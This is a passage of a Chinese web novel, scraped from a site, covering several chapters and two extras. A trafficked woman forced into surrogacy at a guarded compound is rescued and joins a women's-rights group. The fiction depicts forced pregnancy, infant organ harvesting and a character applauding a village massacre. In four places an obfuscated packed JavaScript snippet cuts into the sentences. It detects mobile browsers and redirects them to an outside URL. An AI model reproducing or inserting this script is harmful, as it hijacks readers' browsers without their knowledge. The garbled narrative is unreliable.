【据最新消息,祈平村发生特重大恶性案件,全村死亡103人,受伤28人,目前还在进一步搜救中。火灾原因为村内3名被拐卖妇女,趁一名被拐妇女儿子满月酒大摆宴席时,投毒、纵火且持刀对每一个人无差别攻击,目前犯罪嫌疑人已经归案……】 岳金裙的感觉没有错,现在外面女人反抗力度确实愈发得大了,不再委屈求存,只想玉石俱焚。 那到底有没有女人能够冲开园区的重重封锁,来救她们这些被迫代孕的人呢? “这,这怎么能干这事呢,这就是乱杀人啊,村里的人都是无辜的啊。” 赵淑惠看这条新闻很是愤慨,这去坐席的人又没招你惹你,也没拐卖你,怎么能一起下毒杀人呢? 她们村里也有被拐卖来的,这以后还敢去坐席吗? “这怎么叫乱杀人了?这村里的人难道都不知情吗?有人要是拐了我,我不杀穿整个村,我就不姓张。” 张思丽对这条新闻拍手叫好:“不信你问问金裙这亲身经历者。” “整个村子的人恐怕都不冤枉,都是知情者、漠视者、监督者、协助者,她们也是可怜,肯定忿恨于心,无处发泄,好不容易得到了机会,玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730158|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石俱焚了。”岳金裙说道。 村子的每一个人都知道她是被拐卖的,但是他们都事不关已,高高挂起地漠视。 纵使见到了她被拴着的惨状,面露同情,但也只是静待事态发展,不敢也不会伸出有力的援手,甚至或明或暗地成为了程老根父子的帮凶。 “你这说的,什么者者者的,让人听不懂。都是一个村子的,都是亲戚,打断骨头还连着筋呢,让这村里的怎么办啊?”钱三喜听得很刺耳。 她弟弟也年纪不小,她这次来代孕就是为了让弟弟娶媳妇儿的,就算娶不上,也打算买一个媳妇儿。 但要是买来的媳妇儿都这么烈,让生个孩子就杀人全家,把村子都杀光,她还真不敢让弟弟买了。 “你看看,这里面有一个女人的儿子,学习特别优秀,每次考试都是他们班的第一名,这要是好好培养,真就是山沟里飞出金凤凰,这当妈的下毒杀全村,把孩子也给毁了,怎么着也得看孩子面儿上啊?” “不是山沟里飞出了金凤凰,而是金凤凰在山沟里陨落。”岳金裙立刻反驳。 “在她是一个母亲之前,她首先是一个人,孩子是被强迫生下的,是罪证。 孩子不应该成为她妥协的理由,母亲的角色不应该是束缚她的工具。 她应该自由自在地生活在这个世界上,她若是达者,则济天下,她若是穷者,则善自身,而不是被迫成为一个委曲求全的母亲。” 岳金裙不想再跟她们探讨了。 永远都叫不醒装睡的人,她们并不是不知道,只是她们的利益早已经和男人绑定在了一起,一生都在为丈夫、儿子、哥哥、弟弟奉献,一生的精华都被男人吸吮,与男人的寄生与被寄生关系,早已混乱得自己也分不清了。 岳金裙又按了一下遥控器。 【正研究代孕合法化和单身女性冻卵合法化的方案,将广泛听取各方意见……】 “这是啥意思?咱们干的事合法了?”赵淑惠率先开口。 “没听到吗?还在研究呢。”钱三喜回道: “这要是合法了,人人都能做这个代孕,生一个孩子的钱是不是没有现在这么多了?” “谁知道呢,得有个价格范围吧?就跟那大白菜似的,也不能太高啊,不然谁吃的起?”赵淑惠调侃道: “等合法了,以后做代孕的人就更多了,找代孕的人肯定也就更多了,说不定挣的比现在还多呢。” “啥时候都是年轻漂亮的挣钱,那有钱人找代孕,肯定也想要年轻漂亮的来生自己孩子呀。”张思丽接道,自己无论怎样都是有优势的。 又跳了一个台,是一条正在呼吁拒绝代孕合法化的段子视频。 看完这个视频后,岳金裙说道:“代孕不应该合法化,因为这践踏的是我们的身体和尊严,如果合法化了,会有更多的女性被自愿代孕,看我,不就是被自愿来代孕了吗? 我被自愿和男人结婚,被自愿生下孩子,被自愿看着孩子死去,被自愿代孕。等到代孕合法化,还不知道有多少个像我一样的人呢?” “你们难道真的想不间断的生孩子吗?真的想不间断的生别人的孩子吗?你们难道不是被自愿的吗?被贷款、被儿子、被弟弟自愿,这中间经历的痛苦,你们最能感同身受。” “不这么做又能怎么办?我也不愿意,但是没钱啊,这样来钱最快。”张思丽疑惑又期盼地看向岳金裙,似乎想要得到一个通向明路的指示。 “用正常、正确的途径赚钱,用自己的劳力赚钱。”岳金裙只能这样回答。 每个人的挣钱能力、财富继承是不同的,有人世界首富,有人一贫如洗。 但是如果卵子能贩卖,子宫能贩卖,那心脏能贩卖吗?肾能贩卖吗?眼角膜能贩卖吗? 如果把人的每一个器官明码标价,把人彻底商品化,彻底遵从丛林法则,那这个社会还是最初想要的社会吗?谁又能保证永远是狩猎者而不是被狩猎者呢? 21. 同盟 “头疼,不说这些了,让该想的那些人想去吧,咱们说的话,谁又会听呢?” 赵淑惠打破凝滞的气氛,拿过遥控器,找了一个家喻户晓,暑期必播的电视连续剧,其他人都不说话,一时室内只有电视的声音。 沉浸在电视剧中,时间飞速而过,很快,落锁的时间便到了,四人也很快洗簌完躺在床上入睡。 “啊……疼……” 三人被赵淑惠的呻吟声响起,她抱着肚子喊疼,却闭着眼睛,好像还沉浸在睡梦中。 “惠姐,醒醒。”钱三喜将她推醒。 赵淑惠迷蒙睁开眼睛,发现自己真的在肚子疼,她还以为是在做梦呢,她往身下一看,发现已经流出羊水。 “我要生了。” 张思丽一听,便按响了室内的紧急报警按钮,这个按钮连通着值班室,会有人来查看她们的。 很快便有人来到她们宿舍,看到赵淑惠快要生了,紧急安排起来,找了个轮椅推着赵淑惠下楼,赵淑惠在轮椅上时不时难以忍受地痛吟。 岳金裙听到左侧楼里传出喧闹的声音,她趁着宿舍门还没被锁上,朝楼道里走去,想听得更清楚一些。 看到左侧楼里有几个人推着一张床出来,床上被绑着一个腹部高高隆起的女人: “我不是疯子,我不要生孩子。” “是你们把我绑来的,救命啊。” 仅传出清晰的两句话,很快声音便消失,不知道是晕过去还是嘴被塞住了。 这几栋楼里一片寂静,仿佛谁都没听到动静。 紧随其后从左边楼里冲出来一个女人,跑动间,可见腹部隆起,直往园区门口冲去。 “救命啊,我要出去,我不要在这里。” 很快声音被淹没在拳脚踢打声、咒骂声和痛苦的呻吟声中,不一会儿两个保安拖着这个女人回来,身后延伸出一道血迹。 岳金裙看着这一切,浑身的血被冻住一般,仿若在地狱中。 “看吧,逃不出去的。” 张思丽突然出声,将岳金裙吓得一抖。 “他们怎么敢这么大胆?这些人明显不是自愿的,也敢弄进来,这不就是强迫、拐卖吗?他们把人当人,还是当畜生?” 岳金裙说话的时候牙齿都在控制不住地打颤。 “我们在他们眼里,不是人,只是商品。我们是想要钱,而这些人多是流浪汉、精神病,没什么家人,这些人只要永远都出不去,就永远不会泄密。 而我们这些能出去的人,不知道地址,干的也是违法的事,又看到他们的无法无天,更是不敢随便乱说。” 张思丽面上带着一丝麻木,仿若在她短短的人生中,对这些罪恶,已经习以为常。 “快回来睡觉吧,待会值班室的人看到楼道里站着人,会来检查的。”张思丽说完,率先进了房间。 “五楼谁还在楼道,赶紧回宿舍。”有声音厉声催促。 岳金裙也紧跟着张思丽回了宿舍, “惠姐还会回来吗?” “生了孩子拿了钱就会走了,不会再回宿舍,赶紧睡吧。”张思丽说完就盖好被子,不一会就传出均匀的呼吸声。 岳金裙却辗转难眠,她以往只在网上、电视里看到罪恶,以为这些离她很远很远,没想到却亲历其中,成为了其中的一名受害者。 她以前看到的时候,还会想怎么不反抗,要怎样怎样反抗,但是她亲历其中的时候,在绝对的力量面前,却势单力薄,反抗有如飞蛾扑火。 她不像小说里,没有异能、没有系统、没有一点点金手指。 她目之所及的三栋楼里,装着男人、女人、精神病、正常人,有自愿的,有被迫的,全被监视和控制着,有着不同的利益关系,难以交流沟通,难以拧成一股绳。 她目前只能像个摄像机一样,将这一切记录在眼底,她还能做什么呢? 三人如常起床吃早饭,还未到9点,赵医生又来到她们宿舍门前。 “岳金裙、钱三喜,跟我走。” 二人顺从地跟着赵医生到另一栋楼里,赵医生将岳金裙带到昨天去过的屋子,又开始调试注射器,让钱三喜进了另一个屋子。 “你们说什么?让我打胎?我都怀了快6个月了。” 等岳金裙顺从地打完针出来,在楼道里听到了钱三喜的崩溃叫声。 “钱三喜怎么了?为什么让她打胎?”岳金裙向钱三喜所在的屋子走去。 赵医生一把拽住她,“你不能去,不要多管闲事。” “为什么让她打胎?”岳金裙不动,执拗地直视着赵医生的眼睛。 “因为客户不要她的孩子了。”赵医生冷漠地移开视线,拽着岳金裙回了宿舍。 张思丽还在宿舍等着岳金裙,见到赵医生,笑意盈盈地忙打招呼。 “谢谢赵医生把金裙送回来,钱三喜还没回来吗?” “让她跟你说吧,我还有事要忙,先走了。” 赵医生似是不想与她们多作接触,快速回了一句,便离开了。 “钱三喜被打胎了,说是客户不要孩子了。” “那她可能也不回来了,这宿舍就我们两个人了。” “她们真能出去吗?” “能啊,我上次就出去了,我听说,就算是左边楼里那些疯子,生不动了也会放出去的。”张思丽轻生对岳金裙耳语。 “别皱着眉了,这种事见多了就习惯了,我们本来就是怀孕的时候才聚在一起的,等生完孩子就散了。我们下去吧,昨天你不是和王福约好了吗?” 岳金裙和张思丽来到昨天的假山旁,见到了等在原地的王福。 “你们怎么现在才来?”王福等得早就不耐烦了。 “往里走,别让监控注意到我们。”岳金裙带着两人往假山里面走。 “王福,你昨天在山上撞了那么久,都没把孩子撞掉吗?” 岳金裙因为王福身上的东西如同外置内脏一样,让人毛骨悚然,所以并不敢上手摸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730159|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天又见到了王福,又想到这个问题。 一个怀孕的普通女人,如果全力用肚子撞石头,都是有可能撞坏的。 “这个玩意不算特别硬,但是特别韧,抠不掉、打不掉、撞不掉,太用力了,我自己都会疼,跟长在了我身上似的。昨天我是发了狠劲想弄掉的,还没有弄掉。” 王福掀开衣服,也十分懊恼。 岳金裙又看到了这个外置子宫,仍是不舒服,仿若一个趴在王福身上的寄生虫,如同看到海龟体表的藤壶,让人非常想把它弄下来。 岳金裙伸出手戳了戳,表皮十分柔韧,还带着点温度。 里面的胎儿静静悬浮着,不过一根手指大小,已经初具人形。 “王福,我认为,我们应该团结起来,我不方便接触你们那栋楼的男人,需要你找他们了解情况。 我找我这栋楼的女人了解情况,找和你一样不是自愿来的,团结起来,我们找机会一起反抗,离开这里。”岳金裙看着王福说道,又看向张思丽。 “怎么反抗?我昨天看新闻,好像在说代孕快要合法化了,这特么都要合法了,我们还怎么反抗啊?” “就算代孕合法,也是女人代孕合法,男人代孕也会合法吗?代孕合法也是自愿的合法,一定有限制的,像咱们这种被强迫的,非自愿的,也是合法的吗?我们找证据,总有一天会出去将罪恶公之于众。” “对,这里干的恶心事肯定不止一种。我们要搞清楚他们在干什么。”张思丽也应和道。 岳金裙看向她。 “我也不想一辈子做代孕,要是真的代孕合法化了,我就得被我妈,我弟弟,我未来的丈夫、我儿子,逼着做一辈子代孕了。”张思丽想得很清楚,代孕不能合法化。 现在还没有合法,像赵淑惠、钱三喜已经不得不来做代孕,若是合法化了,那她张思丽,做代孕就不能为了吃喝玩乐,得是为了全家人合法做代孕。 “我们每天上午来这里遛圈活动,如果有事要说,就进来说,没事的话,就在外面见一面就行,不用说话。” “好,我先出去,你们待会再出来吧。” 王福以前还是很喜欢看一些谍战剧的,四处张望了下,快速走到大道上。 “思丽,谢谢你跟我站在一起,你不说出去,就是对我最好的保护。” 岳金裙握住张思丽的手,张思丽是最开始对她释放善意的人,如今还愿意站在她这一边,她非常感激。 “不用感谢我,我们都是女人,应该互帮互助。”张思丽对岳金裙一笑。 张思丽毕竟比岳金裙来的时间早,又带着岳金裙去了超市、棋牌室、游戏厅,里面人来人往。 四周每隔一段距离,便有安保伫立,在里面购物或玩乐的每个人都是玩自己的,纵使在棋牌室,谈论的也都是关于玩乐的内容。 “我们回去吧。”岳金裙不是个长袖善舞的人,在这样遍布电子监控和人肉监控的情况下,她也不敢在这样人多的地方去拉拢人。 22. 被解救 如常地过了几天,赵医生又将岳金裙带走了。 “这是什么地方?” 岳金裙看这里并不是以往来打针的地方,反而像一间手术室。 ”你的子宫状态已经可以了,该移植了。”赵医生整理着待会要用的工具。 岳金裙转身,想要立刻跑出去。 “你要是敢跑出去,我就叫两个人过来按着你,然后把你放在疯人楼里去。”赵医生威胁的话语从身后传来。 “你或许不知道疯人楼是什么样子的,里面的女人全部都是被绑在床上的,没有一点自由,只能眼睁睁看着自己的肚子一点点鼓起来,等孩子成熟发动后,我们就会把孩子接生下来,然后再让女人怀上下一个,你想试试吗?” 岳金裙转过身来,她知道赵医生不会骗她。 “配合一点,你我都好过,躺上去。” 赵医生准备着移植管。 “赵医生,快来。”门口出现了另外一位医生,满手鲜血,身上也溅了一些。 “黄医生,我还在做移植。” “先放下你手头的,我这个产妇生不出来还大出血,还特么的是个疯子,一点都不配合,你快来帮我。”黄医生拉起赵医生就走。 岳金裙双腿大张躺在床上,看着两个医生急忙忙跑了出去。想着赵医生临走之前,看了一眼岳金裙和他的外套。 她合拢双腿,跳下了床,仿若死刑被判了死缓。 摸到了赵医生的外套口袋,里面居然有一个手机。 岳金裙兴奋不已,划开手机。 没有密码。 她来不及多想,给尹月求助她时留的号码打了一个电话。 告知自己的情况后,快速删除通话记录,又将手机放到了原处。 她不敢相信居然这么顺利,赵医生看她和外套是什么意思,是在给她暗示吗? 赵医生到底是敌是友? 岳金裙顺着开着的门走到楼道里。 这几天,跟着张思丽在园区转了几圈,她也大概明白了园区的分布,但是越明白,越了解防守的严密。 围墙上的铁丝网,定时巡逻的安保,她到底要怎么出去? 岳金裙在楼道沉思,在脑海中不断模拟逃跑路线,但是不行,不行,她一遍遍给脑中的路线打叉。 “哇……” 似乎不远处有孩子哭声传来,又很快微弱下去。 岳金裙向着声音方向走了几步,从未关严的门缝中看到了两个医生围着一个婴儿,其中一个医生拿起了手术刀。 他们的头似乎往门口偏了一下,吓得岳金裙躲进旁边的一间诊疗室内,幸好这个真是没人,依稀能听到隔壁的声音。 “黄医生,真的要把这个婴儿的心脏摘下来?他才刚出生。” “赵燕青,别在这装什么菩萨!这个婴儿只是一个克隆体,就是为了心脏移植用的。你要是不愿意,你可以走了,反正这个婴儿已经生下来,我这里用不着你了。” “那我先走了,还有母体等着我做胚胎移植。” “哼,你还以为你是治病救人的医生呢,都进了这一行,在你手里,移植了多少胚胎?接生了多少孩子?你还以为你接生是迎接新生命吗?” 另一个声音没再响起,只有换衣服的声音。 岳金裙不敢再听,这个赵燕青,很有可能是赵医生,刚才看的时候,她就感觉身形有点像,岳金裙不敢耽搁,快步跑到自己原先待的手术室里,躺到床上。 不一会儿,赵医生果然推门进来,继续被打断的工作。 “赵医生,其实我是被拐卖的,又被买方给送到了这个园区,赵医生,您能不能帮帮我,放我走吧,我出去了,一定什么都不会说的,不会连累您的,只会感谢您。” 岳金裙想到刚才的事,双手合十,哭着倾诉,祈求地看着赵医生。 赵医生手上动作停了一下,但是仍旧表情不变,冷着脸,“我帮不了你,会有别的医生检查移植和受孕情况,别让我难做,乖乖配合。” 冰冷的管子插/进了体内。 “不要一直躺着,不要剧烈活动,需要适度走动。” “你现在的状态非常适合受孕,孩子轻易不会掉。 不要故意把孩子弄掉,是会有惩罚措施的,下次移植的时候会把你绑在床上直到受孕成功,相信你也不想体验这样的滋味。”赵医生最后警告道。 岳金裙被送回宿舍,发现宿舍里多了一个憔悴的漂亮的女人,和张思丽各自坐在自己的床上,电视机开着,两人沉浸在自己的世界里,没有交谈。 这个女人看到岳金裙一怔,好像认识的样子,又快速低下头去。 “金裙,怎么去了这么久?”张思丽关切询问。 “做了胚胎移植,赵医生有事耽误了一下,就时间长了点,我们新来了一个室友?” “我叫岳金裙,你好,你叫什么名字?”岳金裙向新室友释放善意。 “我叫张兴含,你刚刚去做移植了?”张兴含还有点躲闪,眼神飘忽,不敢直视岳金裙。 “对”,岳金裙坦言相对,坐在了自己床上,不明白张兴含如此表现的原因,疑惑地看着她。 “你移植了吗?”岳金裙问道。 “我是人工授精,已经怀上了。”张兴含抿了一下嘴唇,脸上闪过一丝屈辱。 张兴含用余光扫视着岳金裙,岳金裙已经做了移植,难道现在怀的就是她的孩子吗? 可怜她还以为有人能够代她怀孕,而她美美无痛当妈,却没想到她自己却被送来这里给别人生孩子。 她是被丈夫亲手送进来的。 没想到在这里见到岳金裙,还和她住同一间宿舍。 真是可笑,明明前几天她还是高高在上挑选货物的人,如今也被摆放在货架上成为货物。 “哎,你怎么哭了?”张思丽忙抽出纸巾帮她擦眼泪。 “你不是自愿的?”岳金裙见她偷偷看自己,后又哭了,很是不解。 “我不是自愿的,我是被我丈夫送进来的,进来之后,就出不去了。”张兴含哭得更厉害了。 “我不愿意,但是她们把我关进隔壁楼里,绑在床上,给我做了人工授精,一天只给我吃一顿饭,每天问我愿不愿意,直到我说愿意,我才被带到这里来。”积蓄了多日的情绪,让张兴含急于吐出来。 “别哭了,我们也是差不多的情况,被强迫来的。”岳金裙安慰道,“我们要好好生活,总有一天会出去的。” “那个楼里,有真的疯子,也有和我一样不愿意配合的正常人,就算是精神病,也有神志清醒的时候啊,但全都被绑着,不吵不闹的给吃三顿饭,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730160|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配合的,吵闹的一天只给一顿饭,饿得都没力气说话。” 张兴含想起前几天的遭遇,仍是心有余悸。 这种经历听得岳金裙和张思丽心生畏惧,都警惕起来。这里简直灭绝人性,为了达到目的不择手段。 日子一天天过去,岳金裙和张思丽二人遛弯小组又加上了张兴含。 围观了几次客户嫌孩子笨要退货、客户离婚没人想要孩子要退货的闹剧,岳金裙自己也接触了许多自己所住楼的女人,做代孕的理由千千万。 为了孩子、为了老公、为了兄弟、为了房贷、车贷、消费贷,多数都打算着做完这一次就走的心思,但是一旦尝到快速挣钱的甜头,就如同毒瘾一样,下次再缺钱的时候,第一个选择,难道不会还是代孕吗? 王福也联系到了好几个被迫的男人,但是他们自从进来后就一直虚弱无力,跟吃了十香软筋散似的,纵有百般武功也使不出来,何况是在防守如此严密的情况下。 而左边据说住着疯子的楼,岳金裙一直没进去过,据张兴含的介绍,那里只会更是人间炼狱。 三人的肚子一天天变大,都出现了胎动,纵使怀得不是自己的孩子,感受到胎动的时候,也不免多了几分柔情。 已经断水断电该睡觉了,但是岳金裙被越来越频繁的胎动折腾地翻来覆去。 “金裙,你不舒服吗?要不要按报警器?”张思丽轻声问道。 “不用了,我就是胎动,有些难受。”岳金裙同样轻声回道。 “开门,开门,开门……” 外面叫嚷开门的喧闹声响起。 岳金裙和张思丽均是一惊,趴到窗户边,透着玻璃往外看。 “怎么了?”张兴含也被惊醒,坐起来迷糊问道。 只见外面各种灯光闪过,甚至有人放起鞭炮,叫嚷的人们已经和保卫打了起来。 岳金裙越看越兴奋,难道是有人来救她们了?尹月来了? 她试探着把手放在门把手上,想试试怎样把门把手卸下来,没想到一拧门把手,门居然开了。 岳金裙与张思丽均不敢置信,张兴含也跟着跑了出来。 楼里的人都被惊醒了,旁边宿舍里看到岳金裙她们出来,也尝试打开门,也走了出来。每个人脸上都是不可置信加兴奋的表情。 “门可以打开,快出来,我们自由了。”岳金裙大吼一声,一路叫着冲下楼去。 张思丽和张兴含也跟着一边跑一边喊:“快跑,我们自由了。” 情绪是会传染的,一扇扇门打开,一栋栋楼的人涌出来,纵使有很多人是自愿来做代孕的,但是在岳金裙她们的带动下,也跟着兴奋地跑了出来。 这是她们第一次在夜里出宿舍,是突破禁忌的感觉,好像全身的血都沸腾了起来。 不知道是谁第一个和保卫打了起来,众人一拥而上,将往日看守她们的保卫打倒在地。 人们疯狂地向门口涌动,撞开了门岗,撞倒了大门,和外面的人汇合到了一起。 岳金裙也跟着跑了出来,这里没有程老根,没有程有柱,没有那些熟悉或不熟悉的村民,这里只有兴奋的笑脸。 她知道,她自由了,她不会再回到那个小村子,不会再回到这个代孕园区。 她张开手,疯狂感受自由的感觉,呼吸自由的空气。 23. 结局 岳金裙想要趁机离开这里,试图挤出人群的包围。 但在兴奋的人群中,她看到了尹月,她走路一瘸一拐,和周围的人一起,向从园区跑出来的人说着什么,只不过距离太远,她听不太清。 岳金裙向着尹月挤去。 “尹月,谢谢你来救我。” 尹月见到岳金裙,露出一个大大的笑容,张开手臂抱住了她。 “对不起,我没能找到你家人救你,因为我很快就又被抓回去了。”岳金裙先向尹月道歉。 她不仅没救了尹月,反而被尹月救了。 枉她一直想要反抗,想要逃出去,但是尹月才是真正的不认命,积极拯救自身,也拯救了她人的英雌。 “我知道,没关系,我们都自由了。 我很抱歉,我来晚了,找到这个地方费了很长时间。”尹月注意到她隆起的肚子,面带歉意与疼惜。 警笛声在夜空中响起。 ”尹月,能不能救我一次,我不想回到程老根父子手里。我和程有柱有结婚证,现在无法离婚,但是我不想跟他们回去,他们肯定还会再卖了我。” 岳金裙也听到了警笛声,看到了大批警察有序维持秩序,她独自走不了了,但是她不想让警察通知程有柱把她接回去。 “金裙,别怕,我们去警察局说清楚情况,然后你跟我走,我就是来救你们的,也是救曾经的我自己。我不会再让你回去。” 岳金裙在尹月的话中得到了无限安全感,心里暖暖的,她自从被拐卖,就一直身如浮萍,身不由己,仿佛飘在空中,任何一阵风过来,都能把她吹散,如今,才仿佛落到了地上,有了重量,焕发了新生。 岳金裙从警察局中出来,果然看到了在等待她的尹月,她心中一定。 “走,到我那里去。”尹月为她披了一件衣服。 “园区里的人怎么办?”岳金裙不知道这些人会怎样处置。 “放心吧,我们把证据都已经收集好并提交了,警方会处理好的。都会一一筛查询问情况,那些精神有问题的,男人怀孕的,都会照顾好的,我们的人也会继续跟进的。” 尹月安抚道,觉得岳金裙像一只受惊了的鸟,又带着一点泽被天下的责任感。 女性就是这样,纵使深陷泥沼,一旦被救出来,环境好一点,就会转而担心起同样受苦的同类。 尹月自从被救出来,在经过短暂的休整后,便开始马不停蹄地搜集信息,拼尽全力拯救被拐卖、被迫代孕的同类。 在这一路上,也遇到了许许多多志同道合的男女,这个代孕园区,便是他们整合多方信息,一起找到的。 “这个孩子你打算怎么办?” “我想要打掉,尹月,可以帮我吗?”岳金裙心中恨意一闪而过,不是她自愿怀上的,生下的孩子,都不是她的孩子,只是吸食她血肉的伥鬼。 “好。” “赵医生?”岳金裙看到赵医生,下意识想要夺路而逃。 “哎,别走,赵医生是我们的人。”尹月拉住岳金裙,向她解释道。 “什么?”岳金裙不可置信,明明是赵医生给她移植的胚胎。 “有了赵医生的帮助,我们才能这么快的找到那个园区,正是因为有他提供的信息,我们的科技人员才能最快的入侵园区的系统,将你们的门都打开。”尹月继续解释。 “赵医生已经改行了,想要堕胎的姐妹,我们都建议找他。” 这时,张兴含捂着肚子从室内走出来,和岳金裙四目相对。 “兴含,你刚刚拿掉了孩子吗?” “对”,张兴含坦然答道,但是想到岳金裙来这里的目的,“金裙,你也要来拿掉孩子吗?” 岳金裙怀的是她的孩子,她想要开口劝说岳金裙留下,但是无法开口。 她已经深刻体会到被迫做代孕妈妈的痛苦,她和岳金裙相处了几个月,更是知道岳金裙不愿意代孕,况且连她自己都拿掉了孩子,更没脸劝说别人留下她的孩子。 “金裙,你真的要加入我们吗?”尹月严肃地问道,“这不是玩笑,也不是一时玩闹。” “对,我要加入你们,和你们一起拯救深陷泥沼的女性。” 岳金裙无处可去,也不知道要做什么。她打过唯一记得的妈妈的电话,但是提示是空号。 她也不想回到她的老家去,既然电话号码是空号,那么她曾经记忆中的老家恐怕也不存在,就算存在,身为女人的她也不敢回去,她可是记得父母对待姐姐们的态度的,她怕又被父母给卖一遍。 思来想去,唯有跟着尹月,拯救曾经的自己,让千千万万个她,在求救的时候,能够有所回应。 “好,正好今晚我们有个聚会,我带你去跟大家见一面。” 岳金裙跟着尹月来到明亮的宴会厅里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来,让我们共同举杯,女性的权益,我们要自己维护。女性的权力,我们要握在手里。” 单女士举杯说道:“女性不应被物化、矮化、附庸化、宠物化,让我们一起努力,创造一个更加文明的世界。” “我们一起努力。”众人一起举杯。 24. 番外1:未来[番外] 岳金裙多喝了几杯,迷迷糊糊倒在床上。 “主人醒醒,该上班啦,主人醒醒,该上班啦,啦啦啦啦。” 岳金裙有些头疼,感觉有个什么东西围着自己转,一边转一边发出声音。 她捂着头坐起来,发现是一个机器人在围着自己转,而室内井然有序,充满未来科技感。 这是什么地方,自己又变成了什么? “主人,小美为您服务,您身体不舒服吗?要请假吗?”床旁的机器人又问道。 “请假。”岳金裙不知道自己又到了哪里,去哪里上班更是不知道,还是请假为好,自己先探索一遍。 “主人,早饭已经做好了,请您洗漱后用餐。” 岳金裙坐到了餐桌旁,还是正常的早餐,松了一口气,看到这充满科技感的室内,她还以为要喝营养液呢。 “小美,你有搜索功能吗?” “有的,小美是全屋智能机器人,链接宇宙星网,您可以对小美提问。” 一时之间,岳金裙竟然不知道要先问什么。 “小美,搜索尹月。” “小美为您找到以下答案。公元20xx年,尹月与单女士、岳金裙、张思丽、程爱娣、李云云等众多优秀女性一起,为女性权益的提升做出重大贡献,在众多优秀女性的斗争与引领下,爱丁堡国严厉打击人口拐卖及代孕,在立法上严格禁止女性代孕,并积极发展机器人生育及男性生育,为新纪元人类繁衍形式奠定了基础……” 岳金裙听出了一点问题,难道现在真的是未来了?她们成功了? “现在人类繁衍形式是什么?” “现在人类可以采用女性生育、男性生育、机器人生育……” 经过小美的介绍,岳金裙终于懂了。 她在代孕园区的时候,就有王福孕育孩子,在这个未来,人类科技的进步更是无法想象。 男女可以随时结婚,也可以随时离婚,当然也可以不结婚,一切全凭自己的本心,在一起只是因为自己的情感需求。 男性和女性都可以生孩子,要是自己不想生,也可以让机器人生孩子。 每个人的一生都和积分挂钩,而积分有关工资基数及养老基数。 一个女性或男性,如果从小成绩优异,长大后愿意工作,且工作贡献突出,并且自己生孩子,养孩子,且把孩子培养的成绩优异,那么这位女性或男性的积分就是最高的,工资和养老基数会是最高的一档。 当然就算什么都不做,不生孩子, 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醒来后,发现自己还在尹月家的床上,原来是半夜惊醒,室内仍旧黑静,微光透过窗帘照进来,岳金裙翻了个身继续睡下去,明日还要继续为自己奋斗。 25. 番外2:重为男人[番外] “岳先生,您醒了?”一位男医生站在岳金裙床前。 岳金裙迷蒙睁开眼,只觉得有些晕眩,看着面前穿着白大褂的男人,心中一惊,如坠冰窟。 这是什么情况,自己又被拐卖了?还是又回到了代孕园区? “岳先生,您还记得发生了什么吗?”医生见岳金群双眼无神地看着他,出声又问道。 “岳先生?”岳金裙疑惑问道,她不是已经变成女人了吗?为什么叫她先生?难道又是那些什么伟大的女性称为先生? “对,岳先生,您发生了车祸,所幸您并没有什么大碍,只是有一点脑震荡,没有其他不适的话就可以出院。已经通知了您的家属,您休息一下吧,有什么问题随时按铃。” 医生又朝身边的护士交代了几句,便匆匆走出病房。 一个女人走了进来,嫌弃地看着岳金群。 “单女士?” 女人一怔,随后轻笑道:“你已经好几年没用这个称呼叫我了,答应离婚了是吧?我们快把离婚协议签了吧?” 岳金群愣住了,这一切似乎都不是梦,那他便成女人就是梦了? 他出了车祸,睡了一觉做了一个变成女人的梦,现在梦又醒了,他又回到了现实中,他又变成男人?他是岳金群了? 他有欣喜,又有一些怅然若失。 他的老婆冷着脸帮他收拾了一下物品,便带着他出院了。 他又回到了他位于京都的家,这里寸土寸金,而他正好在这里拥有一栋独栋别墅。 他老婆把东西扔到别墅门口,转身就走。 “哎,老婆,你去哪儿?不回家吗?” “我要跟你离婚,这栋别墅,是我们的婚内财产,等它属于我的时候,我会再回来。” 说完头也不回地走了,仿佛能把他送回来,已经是仁至义尽。 岳金裙又坐到了他熟悉的书房座椅上,往日的记忆乱飞,一会儿是男人的他功成名就,挥斥方遒,一会儿是女人的她被拐被囚,孤立无援。 他分不清到底哪个是真,哪个是假,会不会一会儿他又变成那个岳金裙? 一天又一天过去,一切如常,岳金裙也从唯恐一睁眼便成女人的惊恐中慢慢安定下来,不再如同惊弓 